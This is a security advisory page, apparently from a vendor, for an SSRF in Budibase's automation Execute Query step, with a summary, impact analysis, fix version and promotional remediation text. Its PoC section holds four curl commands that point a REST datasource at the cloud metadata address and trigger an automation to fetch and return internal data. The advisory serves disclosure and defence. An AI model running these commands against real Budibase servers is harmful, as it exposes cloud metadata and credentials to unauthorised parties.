GHSA-6964-pp88-6wp9
GHSA-6964-pp88-6wp9 is a Server-Side Request Forgery (SSRF) vulnerability in budibase. O3 Security confirms whether GHSA-6964-pp88-6wp9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6964-pp88-6wp9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
budibasenpmDescription
Summary
The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.
Details
Inside the execute query automation step, the queryId value and any additional query parameters from inputs.query are assembled into a request context and forwarded to queryController.executeV2AsAutomation. The constructed context looks like the following:
const ctx: any = buildCtx(appId, emitter, {
body: {
parameters: rest,
},
params: {
queryId,
},
user: context.user,
})
No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The context.user value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.
To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.
The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.
PoC
curl -s -X POST "$BUDIBASE_HOST/api/datasources" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d '{
"datasource": {
"name": "internal-meta",
"type": "REST",
"source": "REST",
"config": {
"url": "http://169.254.169.254",
"rejectUnauthorized": false,
"defaultHeaders": {}
}
}
}'
curl -s -X POST "$BUDIBASE_HOST/api/queries" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d "{
\"datasourceId\": \"$DATASOURCE_ID\",
\"name\": \"meta-probe\",
\"queryVerb\": \"read\",
\"fields\": {
\"path\": \"/latest/meta-data/\",
\"queryString\": \"\",
\"headers\": {},
\"requestBody\": \"\"
},
\"parameters\": [],
\"transformer\": \"return data\",
\"schema\": {}
}"
curl -s -X POST "$BUDIBASE_HOST/api/automations" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d "{
\"name\": \"ssrf-test\",
\"definition\": {
\"trigger\": {
\"event\": \"app:trigger\",
\"stepId\": \"APP\",
\"inputs\": {},
\"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}},
\"type\": \"TRIGGER\",
\"id\": \"trigger1\"
},
\"steps\": [
{
\"stepId\": \"EXECUTE_QUERY\",
\"inputs\": {
\"query\": {
\"queryId\": \"$QUERY_ID\"
}
},
\"schema\": {},
\"type\": \"ACTION\",
\"id\": \"step1\"
}
]
}
}"
curl -s -X POST "$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d '{}'
Impact
An authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | budibase | all versions | 3.39.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for budibase. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update budibase to 3.39.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6964-pp88-6wp9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6964-pp88-6wp9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6964-pp88-6wp9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6964-pp88-6wp9 in your dependencies?
O3 detects GHSA-6964-pp88-6wp9 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.